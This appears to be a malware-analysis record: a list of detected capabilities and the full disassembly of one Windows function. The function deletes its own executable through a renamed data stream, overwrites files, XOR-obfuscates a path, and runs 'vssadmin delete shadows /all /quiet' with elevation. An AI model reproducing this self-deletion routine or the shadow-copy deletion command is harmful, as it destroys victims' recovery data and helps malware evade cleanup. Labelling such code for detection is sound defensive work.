Function at 0x140001470
Capabilities:
Check if file exists
Create process on windows
Delete file
Delete volume shadow copies
Encode data using xor
Get file attributes
Get file size
Move file
Write and execute a file
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push r15
lea rbp, [r11 - 0xc38]
sub rsp, 0xd28
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc00], rax
mov qword [r11 + 8], rbx
lea rcx, [rbp - 0x30]
mov qword [r11 + 0x10], rsi
xor edx, edx
mov qword [r11 + 0x18], rdi
mov r8d, 0x410
mov qword [r11 - 0x18], r12
mov qword [r11 - 0x20], r13
call sub.VCRUNTIME140.dll_memset
xor r12d, r12d
mov byte [rbp - 0x50], 0
mov r15d, r12d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea edx, [r12 + 8]
lea r8d, [r12 + 0x26]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r13, str.:Maldev
mov rbx, rax
test rax, rax
je 0x1400017f4
mov rdx, rax
mov byte [rbp - 0x50], 1
sub rdx, r13
mov dword [rax + 0x10], 0xe
mov rcx, r13
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx + 0x14], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140001510
mov r8d, 0x208
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140001550
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetModuleFileNameW_Failed_With_Error:__d__n
call fcn.1400010d0
jmp 0x1400017d4
lea rdx, [rbp - 0x30]
lea rcx, str._i__Current_file_path:__s_n
call fcn.140001010
movzx eax, word [rbp - 0x30]
lea rcx, [rbp - 0x30]
mov esi, 0xaa
test ax, ax
je 0x140001596
nop dword [rax]
nop word [rax + rax]
xor ax, si
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, word [rcx]
test ax, ax
jne 0x140001580
movzx eax, word [rbp - 0x30]
lea rcx, [rbp - 0x30]
test ax, ax
je 0x1400015b2
nop
xor ax, si
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, word [rcx]
test ax, ax
jne 0x1400015a0
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea rcx, [rbp - 0x30]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp - 0x30]
movzx eax, word [rbp - 0x30]
test ax, ax
je 0x140001602
nop word [rax + rax]
xor ax, si
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, word [rcx]
test ax, ax
jne 0x1400015f0
cmp rdi, 0xffffffffffffffff
jne 0x140001621
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__R__Failed_With_Error:__d__n
call fcn.1400010d0
jmp 0x1400017d4
mov rdx, r13
lea rcx, str._i__Renaming_:_DATA_to__s_...
call fcn.140001010
mov r9d, 0x26
mov r8, rbx
mov rcx, rdi
lea edx, [r9 - 0x23]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
jne 0x14000166c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____SetFileInformationByHandle__R__Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400017d4
lea rcx, str.___DONE__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [rbp - 0x30]
lea rcx, [rbp - 0x30]
test ax, ax
je 0x1400016a2
nop
xor ax, si
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, word [rcx]
test ax, ax
jne 0x140001690
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], r13
lea r8, str._s_s
mov edx, 0x208
lea rcx, [rbp + 0x3e0]
call fcn.140001070
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400017c1
test al, 0x10
jne 0x1400017c1
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea rcx, [rbp + 0x3e0]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
lea rcx, [rbp + 0x3e0]
movzx eax, word [rbp + 0x3e0]
test ax, ax
je 0x140001742
nop dword [rax]
nop word [rax + rax]
xor ax, si
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, word [rcx]
test ax, ax
jne 0x140001730
cmp rdi, 0xffffffffffffffff
jne 0x14000175e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__D__Failed_With_Error:__d__n
call fcn.1400010d0
jmp 0x1400017d4
lea rcx, str._i__DELETING_...
call fcn.140001010
mov r9d, 1
lea r8, [rbp - 0x50]
mov rcx, rdi
lea edx, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
jne 0x1400017a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____SetFileInformationByHandle__D__Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400017d4
lea rcx, str.___DONE__n
call fcn.140001010
mov r15d, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400017d4
lea rdx, [rbp + 0x3e0]
lea rcx, str.____File_not_found:__s_n
call fcn.140001010
xor eax, eax
mov rdi, rbx
mov ecx, 0x26
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
mov qword [rsp + 0xd10], r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80000000
lea rcx, [rbp - 0x30]
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001905
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x1400018e6
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1400018d7
lea r9, [rbp - 0x4c]
mov qword [rsp + 0x20], r12
mov r8d, edi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400018ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteFile_Failed_With_Error:__d__n
call fcn.1400010d0
xor eax, eax
mov rdi, rsi
mov rcx, r14
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001919
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
jmp 0x1400018f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetFileSize_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400010d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001919
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW_Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.140001130
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x30], r12
lea rcx, [rbp - 0x30]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a45
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140001a0b
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400019fc
lea r9, [rbp - 0x4c]
mov qword [rsp + 0x20], r12
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400019dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteFile_Failed_With_Error:__d__n
call fcn.1400010d0
xor eax, eax
mov rdi, rbx
mov rcx, r14
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140001a1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
jmp 0x140001a18
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetFileSize_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400010d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140001a59
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____DeleteFileW_Failed_With_Error:__d__n
jmp 0x140001a52
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateFileW_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x30], r12
lea rcx, [rbp - 0x30]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b6e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
je 0x140001b4f
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001b40
lea r9, [rbp - 0x4c]
mov qword [rsp + 0x20], r12
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001b17
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteFile_Failed_With_Error:__d__n
call fcn.1400010d0
xor eax, eax
mov rdi, rbx
mov rcx, r14
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b82
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
jmp 0x140001b5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetFileSize_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400010d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b82
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW_Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.140001130
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], r13
lea r8, str._s_s
mov edx, 0x208
lea rcx, [rbp + 0x7f0]
call fcn.140001070
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rbp - 0x30]
call fcn.140001200
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x4000000
lea rcx, [rbp - 0x30]
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, qword [rsp + 0xd10]
mov rdi, rax
mov r13, qword [rsp + 0xd18]
mov rsi, qword [rsp + 0xd48]
mov rbx, qword [rsp + 0xd40]
cmp rax, 0xffffffffffffffff
je 0x140001c9c
lea rcx, str.ntdll.dll
mov byte [rbp - 0x4f], 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtSetInformationFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001c91
mov r9d, 1
mov dword [rsp + 0x20], 0xd
lea r8, [rbp - 0x4f]
mov rcx, rdi
lea rdx, [rbp - 0x48]
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileW__NtSecureDeleteFile__Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x140005660]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xorps xmm0, xmm0
mov dword [rsp + 0x40], 0x70
xor eax, eax
lea rcx, [rsp + 0x40]
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x54], eax
lea rax, str.runas
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
mov dword [rsp + 0x70], r12d
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x50], rax
lea rax, str.cmd.exe
mov qword [rsp + 0x58], rax
lea rax, str._c_vssadmin_delete_shadows__all__quiet
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov r12, qword [rsp + 0xd20]
mov rdi, qword [rsp + 0xd50]
test eax, eax
jne 0x140001d5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ShellExecuteExW_Failed_With_Error:__d__n
call fcn.1400010d0
mov rcx, qword [0x140005660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
lea rcx, [rbp - 0x30]
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x140001d90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____MoveFileEx_Failed_With_Error:__d_n
call fcn.1400010d0
mov eax, r15d
mov rcx, qword [rbp + 0xc00]
xor rcx, rsp
call fcn.1400020e0
add rsp, 0xd28
pop r15
pop rbp
ret